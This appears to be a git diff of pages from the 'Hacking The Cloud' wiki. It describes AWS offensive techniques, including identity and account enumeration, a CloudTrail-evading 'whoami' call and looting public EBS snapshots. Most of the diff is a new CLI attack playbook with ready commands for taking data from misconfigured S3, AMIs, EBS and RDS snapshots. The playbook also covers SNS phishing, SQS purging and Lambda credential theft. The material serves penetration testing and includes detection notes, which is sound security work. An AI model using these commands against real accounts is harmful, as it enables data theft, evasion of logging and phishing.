      When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).

      For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.

      To do this, we can use the example ID of AROAJMD24IEMKTX6BABJI from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.

      First, we will create a role with the following trust policy:

      {
           "Version": "2008-10-17",
           "Statement": [
               {
      diff --git a/aws/enumeration/enumerate_root_email_from_console/index.html b/aws/enumeration/enumerate_root_email_from_console/index.html
      index 85ba7f707..7491c145d 100644
      --- a/aws/enumeration/enumerate_root_email_from_console/index.html
      +++ b/aws/enumeration/enumerate_root_email_from_console/index.html
      @@ -1,4 +1,4 @@
      - Enumerate Root User Email Address from the AWS Console - Hacking The Cloud        

      Article by skdg

      Enumerate Root User Email Address from the AWS Console

      Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

      From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

      If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

      There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}      

      Article by skdg

      Enumerate Root User Email Address from the AWS Console

      Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

      From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

      If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

      There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.
       
      \ No newline at end of file diff --git a/aws/enumeration/get-account-id-from-keys/index.html b/aws/enumeration/get-account-id-from-keys/index.html index 4d215a9ac..4339c11d6 100644 --- a/aws/enumeration/get-account-id-from-keys/index.html +++ b/aws/enumeration/get-account-id-from-keys/index.html @@ -1,4 +1,4 @@ - Get Account ID from AWS Access Keys - Hacking The Cloud

      Article by Nick Frichette

      Get Account ID from AWS Access Keys

      While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.

      To solve this problem, there are multiple ways to determine the account ID of IAM credentials.

      sts:GetAccessKeyInfo

      Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).

      user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Get Account ID from AWS Access Keys

      While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.

      To solve this problem, there are multiple ways to determine the account ID of IAM credentials.

      sts:GetAccessKeyInfo

      Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).

      user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456
       {
           "Account": "123456789012"
       }
      diff --git a/aws/enumeration/loot_public_ebs_snapshots/index.html b/aws/enumeration/loot_public_ebs_snapshots/index.html
      index cc47408ea..d78c750e8 100644
      --- a/aws/enumeration/loot_public_ebs_snapshots/index.html
      +++ b/aws/enumeration/loot_public_ebs_snapshots/index.html
      @@ -1,4 +1,4 @@
      - Loot Public EBS Snapshots - Hacking The Cloud         

      Article by Nick Frichette

      Loot Public EBS Snapshots

      For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.

      Making them Public

      EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.

      EBS Snapshot availability setting page

      Finding Exposed Snapshots

      A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).

      A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select Public snapshots from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).

      Showing the public snapshot list in the AWS console

      To pull this list in an easily consumable format you can use the following CLI command:

      aws ec2 describe-snapshots --restorable-by-user-ids all
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Loot Public EBS Snapshots

      For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.

      Making them Public

      EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.

      EBS Snapshot availability setting page

      Finding Exposed Snapshots

      A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).

      A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select Public snapshots from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).

      Showing the public snapshot list in the AWS console

      To pull this list in an easily consumable format you can use the following CLI command:

      aws ec2 describe-snapshots --restorable-by-user-ids all
       

      As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.

      Tip

      This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can determine the account they are tied to and check for exposed EBS snapshots.

      To search for all public EBS snapshots associated with an AWS account, use the following command:

      aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000
       

      Identification

      To find exposed EBS snapshots in your account you can use automated tooling such as Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

      ./prowler -c ec2_ebs_public_snapshot
       

      Detection

      When someone makes an EBS snapshot publicly accessible, CloudTrail generates an ec2:ModifySnapshotAttribute event with createVolumePermission set to {"add": {"items": [{ "groups": "all" }]}}. You can use Stratus Red Team's aws.exfiltration.ec2-share-ebs-snapshot to reproduce the issue and test your detections.

      Additional Resources

      For additional information on the risks of exposed EBS snapshots, check out this DEF CON 27 talk, Finding Secrets In Publicly Exposed EBS Volumes by Ben Morris (slides available here).

      Article by Nick Frichette

      Whoami - Get Principal Name From Keys

      After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.

      Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information.

      Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:

      An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Whoami - Get Principal Name From Keys

      After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.

      Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information.

      Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:

      An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.
       

      sqs:ListQueues

      sqs:ListQueues is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the ListQueues action does not appear in the documentation for SQS's compatibility with CloudTrail.

      user@host:~$ aws sqs list-queues
       
       An error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action
      diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html
      index caf2b4fbe..2ac263d4b 100644
      --- a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html
      +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/index.html
      @@ -1,4 +1,4 @@
      - CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios - Hacking The Cloud         

      Article by Nick Frichette

      CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios

      Background

      In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.

      In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:

      • Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.
      • Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.
      • Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.

      This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the basic (classic) authflow enabled.

      Warning

      To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.

      Note

      This is not realistically something that can be "fixed". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.

      Unauthenticated Example

      Unauthenticated Scenario

      In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios

      Background

      In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.

      In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:

      • Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.
      • Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.
      • Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.

      This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the basic (classic) authflow enabled.

      Warning

      To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.

      Note

      This is not realistically something that can be "fixed". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.

      Unauthenticated Example

      Unauthenticated Scenario

      In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:

      {
           "Version": "2012-10-17",
           "Statement": [
               {
      diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/index.html
      index 92fd05ec7..c08ceff62 100644
      --- a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/index.html
      +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/index.html
      @@ -1,4 +1,4 @@
      - Exploiting Misconfigured GitLab OIDC AWS IAM Roles - Hacking The Cloud         

      Article by Nick Frichette

      Exploiting Misconfigured GitLab OIDC AWS IAM Roles

      OpenID Connect (OIDC) is a common technology used to authorize services outside of AWS to assume IAM roles. As has been shown many times in the past (examples: one, two, and three), these roles can be misconfigured, permitting anyone in the world the ability to assume a vulnerable role.

      In this article, we will explain a potential misconfiguration of AWS IAM roles when using GitLab OIDC, walk through how to exploit them step-by-step, and explain how the AWS Console causes this misconfiguration by default.

      Warning

      In this article, we are only covering misconfigured roles with a trust relationship to the gitlab.com SaaS offering. In theory this attack could be performed on a self-hosted version of GitLab as well, however we have not tried it. If you have, feel free to open a pull request and update this article as needed.

      IAM role misconfiguration using GitLab OIDC

      According to the GitLab documentation, AWS IAM roles that are using OIDC to authenticate should have a trust policy that looks like the following:

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Exploiting Misconfigured GitLab OIDC AWS IAM Roles

      OpenID Connect (OIDC) is a common technology used to authorize services outside of AWS to assume IAM roles. As has been shown many times in the past (examples: one, two, and three), these roles can be misconfigured, permitting anyone in the world the ability to assume a vulnerable role.

      In this article, we will explain a potential misconfiguration of AWS IAM roles when using GitLab OIDC, walk through how to exploit them step-by-step, and explain how the AWS Console causes this misconfiguration by default.

      Warning

      In this article, we are only covering misconfigured roles with a trust relationship to the gitlab.com SaaS offering. In theory this attack could be performed on a self-hosted version of GitLab as well, however we have not tried it. If you have, feel free to open a pull request and update this article as needed.

      IAM role misconfiguration using GitLab OIDC

      According to the GitLab documentation, AWS IAM roles that are using OIDC to authenticate should have a trust policy that looks like the following:

      {
         "Version": "2012-10-17",
         "Statement": [
           {
      diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/index.html
      new file mode 100644
      index 000000000..871bc4cd6
      --- /dev/null
      +++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/index.html
      @@ -0,0 +1,412 @@
      + Exploiting Public AWS Resources Programmatically - The Playbook - Hacking The Cloud        

      Article by Eduard Agavriloae

      • Tools mentioned in this article


        CloudShovel: A tool for scanning public or private AMIs for sensitive files and secrets

        coldsnap: A command line interface for Amazon EBS snapshots

      Exploiting Public AWS Resources - CLI Attack Playbook

      The playbook shows how to exploit AWS resources that can be misconfigured to be publicly accessible. Think of it as a glossary of quick exploitation techniques that can be performed programmatically.

      All attacks are meant to be executed from an external environment where the attacker is ideally an administrator.

      The document is split in two categories: 1. Services and resources that can be found from a black-box perspective with little to reasonable effort 2. Services and resources that require information that can't be obtained through enumeration or brute-force

      1. Can be found from black-box perspective

      These services might be found from Awseye, Google Dorking, enumeration, searchable via AWS account ID and other sane methods.

      S3 Buckets

      Public List, Read and Write

      Misconfiguration:

      {
      +    "Version": "2012-10-17",
      +    "Statement": [
      +        {
      +            "Sid": "PublicReadWrite",
      +            "Effect": "Allow",
      +            "Principal": "*",
      +            "Action": [
      +                "s3:ListBucket",
      +                "s3:GetObject",
      +                "s3:PutObject"
      +            ],
      +            "Resource": [
      +                "arn:aws:s3:::example-bucket",
      +                "arn:aws:s3:::example-bucket/*"
      +            ]
      +        }
      +    ]
      +}
      +
      bucket_name="example-bucket"
      +region="region"
      +
      +# List bucket contents via HTTP
      +curl https://$bucket_name.s3.$region.amazonaws.com/
      +
      +# List bucket contents via CLI unauthenticated
      +# --no-sign-request will perform the API call unauthenticated
      +aws --no-sign-request s3 ls s3://$bucket_name
      +
      +# List all objects including in subfolders unauthenticated
      +aws --no-sign-request s3api list-objects-v2 --bucket $bucket_name
      +
      +file_name="target-file"
      +
      +# Download file from bucket unauthenticated
      +aws --no-sign-request s3 cp s3://$bucket/$file_name .
      +
      +# Upload file unauthenticated
      +# Files with same name are overwritten
      +echo "hackingthe.cloud" > $file_name.new
      +aws --no-sign-request s3 cp $file_name.new s3://$bucket/
      +

      Authenticated List and Write

      Misconfiguration: - ACL misconfigured at object level so that only authenticated identities can access the file

      bucket_name="example-bucket"
      +region="region"
      +
      +# This will not work anymore
      +curl https://$bucket_name.s3.$region.amazonaws.com/
      +
      +# List bucket contents via authenticated CLI
      +aws s3 ls s3://$bucket_name
      +

      S3 Static Website List Unauthenticated

      Misconfiguration: - Static website allowing bucket to be listed

      {
      +    "Version": "2012-10-17",
      +    "Statement": [
      +        {
      +            "Sid": "PublicReadGetIndex",
      +            "Effect": "Allow",
      +            "Principal": {
      +                "AWS": "*"
      +            },
      +            "Action": [
      +                "s3:ListBucket",
      +                "s3:GetObject"
      +            ],
      +            "Resource": [
      +                "arn:aws:s3:::example-bucket",
      +                "arn:aws:s3:::example-bucket/*"
      +            ]
      +        }
      +    ]
      +}
      +
      bucket_name="example-bucket"
      +region="region"
      +
      +# This will return the index.html
      +curl https://$bucket_name.s3-website.$region.amazonaws.com
      +
      +# Removing the '-website' from the URL will list the files
      +# This works because the bucket is misconfigured
      +curl https://$bucket_name.s3.$region.amazonaws.com
      +
      +# List bucket contents via CLI authenticated or unauthenticated
      +aws s3 ls s3://$bucket_name
      +

      AMIs

      # Find the target AMI
      +# Mention '--include-deprecated' to make sure you get all results
      +# You'll have to search across every region since AMI is region dependent
      +
      +# Search by owner account
      +aws --region $region ec2 describe-images --owner 123456789012 --include-deprecated
      +
      +# Search by description or title
      +aws ec2 describe-images --filter Name="description",Values="*hackingthe.cloud*" --include-deprecated
      +aws ec2 describe-images --filter Name="name",Values="*hackingthe.cloud*" --include-deprecated
      +
      +# Automatically scan the AMI with cloudshovel
      +# --bucket will specify where to save the files
      +# This will not work if multiple cloudshovel is executed
      +# multiple times in the same environment
      +cloudshovel --region $region --bucket example-bucket ami-example1234567890
      +
      +# Manual approach
      +# Start an EC2 instance based on the target AMI and save
      +# the instance ID returned
      +# Create a security group that allows all inbound traffic if
      +# you don't already have one and use it here
      +# If the command fails then you might have to use another instance-type like c5.large
      +# You can specify '--no-associate-public-ip-address' if you don't want the instance
      +# to have a public IP, but you'll need a VPC Endpoint to connect to it via
      +# ec2-isntance-connect
      +aws ec2 run-instances --security-group-ids sg-example1234567890 --instance-type t2.micro --image-id ami-example1234567890 
      +
      +# Try to connect to it using EC2 Instance Connect. The instance
      +aws ec2-instance-connect ssh --os-user root --instance-id i-example1234567890
      +# Search for files and secrets once connected
      +# If the command fails then most likely you'll have to 
      +# use the different method to access the AMI
      +# 1. You can use cloudshovel
      +# 2. Make an EBS Snapshot of the volume(s) and download them with coldsnap
      +
      +# When you're done you can terminate the instance
      +aws ec2 terminate-instances --instance-ids $instance_id
      +

      EBS Snapshots

      region=region
      +
      +# Search by AWS account ID
      +aws ec2 describe-snapshots --owner-ids 123456789012
      +
      +# Search by description
      +aws ec2 describe-snapshots --filter "Name=description,Values=*hackingthe.cloud*"
      +
      +# Create volume from snapshot
      +# The availability zone must be the same as the instance we 
      +# will create shortly in order to attach the new volume there
      +aws ec2 create-volume --availability-zone $region'a' --snapshot-id snap-example1234567890
      +
      +# Alternatively you can try to copy the Snapshot and
      +# operate with ti from there
      +# aws ec2 copy-snapshot --source-snapshot-id snap-example1234567890 --source-region $region
      +
      +# Check if status is 'ok'
      +# Volume id is from the 'create-volume' API call
      +aws ec2 describe-volume-status --volume-id $volume_id
      +
      +# Start a new EC2 instance in the same Availability Zone
      +# The Image Id is for an Amazon Linux image and has
      +# nothing to do with the public AMI from the previous section
      +# Create a security group that allows all inbound traffic if
      +# you don't already have one and use it here
      +aws ec2 run-instances --security-group-ids sg-example1234567890 --instance-type t2.micro --placement AvailabilityZone=$region'a' --image-id ami-example1234567890
      +
      +# Attach volume to your instance and specify as device
      +# anything from /dev/sdf to /dev/sdp (you can use /dev/sdf)
      +# --instance-id is from 'run-instances' API call
      +aws ec2 attach-volume --volume-id $volume_id --instance-id $instance_id --device /dev/sdf
      +
      +# Connect to the instance
      +aws ec2-instance-connect ssh --os-user root --instance-id $instance_id
      +# Mount the volume
      +# lsblk
      +# mount /dev/sdf1 /mnt
      +# Search the volume for files and secrets 
      +
      +# Terminate the instance when you're done
      +aws ec2 terminate-instances --instance-ids $instance_id
      +
      +# Delete the volume created
      +aws ec2 delete-volume --volume-id $volume_id
      +

      RDS Snapshots

      # Depending on the engine of the target snapshot, you'll have to install
      +# the tool for connecting to the RDS server
      +# We'll use MySQL in this example 
      +
      +# Search based on AWS account id using jq
      +# because there is no native way to do this
      +# Copy the DBSnapshotIdentifier
      +aws rds describe-db-snapshots --include-public | jq '.DBSnapshots[] | select(.DBSnapshotArn | contains("123456789012:"))'
      +
      +# Restore Snapshot
      +# Use the DBSnapshotIdentifier from above and create
      +# a security group that allows all inbound traffic if
      +# you don't already have one and use it here
      +# $db_instance_identifier should be a new custom name for
      +# the new db 
      +aws rds restore-db-instance-from-db-snapshot --db-instance-identifier $db_instance_identifier \
      +    --db-snapshot-identifier $db_snapshot_identifier \
      +    --vpc-security-group-ids sg-example1234567890 --publicly-accessible --no-multi-az
      +
      +# This will take around 5-15 minutes so you can run this
      +# command to know when the database was restored
      +# The DB Instance Identifier should be the same, but you
      +# can get it from the output of the previous command
      +aws rds wait db-instance-available --db-instance-identifier $db_instance_identifier
      +
      +# Change login password
      +# In the response you will also see the RDS
      +# endpoint address. Copy that for connecting
      +# to the instance. The username for login can
      +# be found in the same response under "MasterUsername"
      +aws rds modify-db-instance \
      +    --db-instance-identifier $db_instance_identifier \
      +    --master-user-password MyNewPassword123! \
      +    --apply-immediately
      +
      +# Connect to the database
      +mysql -h $url_db -u $username --skip-ssl -p
      +# show databases;
      +# use $database;
      +# show tables;
      +
      +# Delete RDS instance
      +aws rds delete-db-instance --db-instance-identifier $db_identifier --skip-final-snapshot
      +

      IAM Roles

      There are roles that can be assumed using various 3rd-party technologies if the role's trust policy is misconfigured.

      Documented attacks on bad OIDC configurations: - GitHub - Terraform Cloud - GitLab

      While the OIDC misconfigurations can be exploited from the internet, the attacks are more complex than what this document aims to help with. Please reefer to the original or related articles around the aforementioned attacks.

      # Assuming a public role
      +role_name=example-role
      +# Try to assume role
      +aws sts assume-role \
      +    --role-arn arn:aws:iam::123456789012:role/$role_name \
      +    --role-session-name any-name
      +
      +# Configure returned credentials
      +aws --profile any-name configure set aws_access_key_id $access_key_id
      +aws --profile any-name configure set aws_secret_access_key $secret_access_key
      +aws --profile any-name configure set aws_session_token $session_token
      +
      +# Validate credentials
      +aws --profile any-name sts get-caller-identity
      +

      SSM Documents

      # Search by name prefix
      +aws ssm list-documents --filters "Key=Owner,Values=Public" "Key=Name,Values=hackingthe.cloud"
      +
      +# Search by owner with jq
      +# Takes 15-30 seconds to execute
      +# Copy the value from the "Name" field
      +aws ssm list-documents --filters "Key=Owner,Values=Public" | jq '.DocumentIdentifiers[] | select(.Owner | contains("123456789012"))'
      +
      +# List document versions
      +# Different versions can have different
      +# secrets or details
      +aws list-document-versions --name $document_name
      +
      +# Get document details
      +# If the document has more versions you can use --document-version $number
      +# to get details about that version
      +# If version is not specified then the default one is used
      +aws ssm describe-document --name $document_name
      +
      +# Get the actual content of the document
      +# Use --document-version $number if multiple versions
      +aws ssm get-document --name $document_name
      +

      CloudFront

      If the CloudFront distribution has as origin a misconfigured S3 bucket, then even if the bucket is configured to block public access, it might be possible to list the bucket by accessing the distribution's URL. In order for this to work the bucket policy needs to allow "s3:ListBucket" for the CloudFront's Origin Access Identity (OAI). Most likely you will not encounter this outside a lab.

      # Try to list the bucket (Should not work)
      +# You won't know the bucket if you only have the distribution's URL
      +aws s3 ls s3://example-bucket
      +
      +# Access the distribution and list the files
      +curl https://example1234567.cloudfront.net
      +
      +# Read sensitive files
      +curl https://example1234567.cloudfront.net/$file
      +

      2. Can't be found from a black-box perspective

      These services can't be identified from a purely black-box perspective (exception the Public ECR), but they can be misconfigured so that they can be accessed from any external AWS account. For most of these services you need additional information that most likely you'll not find from the internet, brute-forcing or similar techniques.

      SNS Topics

      # List topic subscribers
      +# This will return the subscribers which can be
      +# email addresses or other services like SQS queues
      +# that might be public as well
      +aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:$region:123456789012:example-topic
      +
      +# Get topic attributes
      +aws sns get-topic-attributes --topic-arn arn:aws:sns:$region:123456789012:example-topic
      +
      +# Subscribe to the topic
      +# If you subscribe you will get a confirmation
      +# email with a link you have to access
      +# After confirming you will receive any messages sent
      +# to the topic
      +aws sns subscribe --topic-arn arn:aws:sns:$region:123456789012:example-topic \
      +        --protocol email \
      +        --notification-endpoint $email_address
      +
      +
      +# Publish to topic
      +# All subscribers will receive this message
      +# This can be leveraged to perform phishing attacks
      +aws sns publish --topic-arn arn:aws:sns:$region:123456789012:example-topic --message "This is the email body" --subject "This is the email subject"
      +

      SQS Queues

      # Send message
      +aws sqs send-message \
      +    --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue \
      +    --message-body "Your message"
      +
      +# Receive messages
      +# This will remove the message from the queue
      +aws sqs receive-message --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue
      +
      +# Delete message
      +# Message will be deleted anyway when
      +# running receive-message in default implementations
      +aws sqs delete-message \
      +    --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue \
      +    --receipt-handle $big_string_from_receive_message_call
      +
      +# This will delete all items in the queue
      +aws sqs purge-queue --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue
      +

      Private API Gateways

      A private API Gateway is private in the sens that it can't be accessed from outside the AWS's network. People can mistake a private API Gateway as being accessible only from their AWS account, which is a common misconception.

      # Example API Gateway details
      +api_id=example123
      +region=eu-central-1
      +stage=prod
      +endpoint=fetch
      +
      +# Try to access the API gateway from your host/VM
      +# It should not work
      +curl https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint
      +nslookup $api_id.execute-api.$region.amazonaws.com
      +
      +# We'll start an EC2 instance and perform the # request from there
      +# The instance must be in the same region as the target API
      +# Create a security group that allows all inbound traffic if
      +# you don't already have one and use it here
      +# The AMI is for the latest Amazon Linux image at the moment of writing this article
      +# Save the instance ID for later
      +aws --region $region ec2 run-instances --security-group-ids sg-example1234567 --instance-type t2.micro --image-id ami-0b5673b5f6e8f7fa7
      +
      +# Check if you have VPC endpoint com.amazonaws.$region.execute-api
      +aws --region $region ec2 describe-vpc-endpoints
      +
      +# Skip this if the VPC endpoint already exist
      +# Create the VPC Endpoint
      +# Should take around 1-2 minutes to be available
      +# Run either 'aws ec2 describe-instances' or
      +# 'aws ec2 describe-vpcs' or 'aws-describe-subnets' in order
      +# to get the information about the VPC id along with the subnet ids
      +# You have to use the same VPC as the one of the previous EC2
      +# Create a security group that allows all inbound traffic if
      +# you don't already have one and use it here
      +aws ec2 create-vpc-endpoint \
      +    --vpc-id vpc-example1234567 \
      +    --vpc-endpoint-type Interface \
      +    --service-name com.amazonaws.$region.execute-api \
      +    --subnet-ids subnet-example1234567,subnet-example1234567,subnet-example1234567 \
      +    --security-group-ids sg-example1234567 \
      +    --private-dns-enabled
      +
      +# Connect to the instance
      +aws ec2-instance-connect ssh --os-user root --instance-id $instance_id
      +
      # Now we should be able to resolve and invoke the private API Gateway
      +# Check DNS resolution
      +nslookup $api_id.execute-api.$region.amazonaws.com
      +
      +# Invoke the API
      +curl https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint
      +

      Delete the instance and the VPC Endpoint when you're done. VPC Endpoints can get expensive.

      Lambda Functions

      function_name=example-function
      +# Invoke function via AWS CLI
      +# Because the function is from an external account, the
      +# whole ARN must be specified
      +# You can invoke a certain version of the function by adding its number at the end
      +# e.g. arn:aws:lambda:$region:123456789012:function:$function_name:1
      +aws lambda invoke --function-name arn:aws:lambda:$region:123456789012:function:$function_name \
      +    --payload '<input>'
      +
      +# If the function is vulnerable to SSRF you might
      +# be able to exfiltrate the access credentials by reading
      +# the contents of /proc/self/environ
      +# For this you need to specify --cli-binary-format
      +# This is can be used as a persistence technique
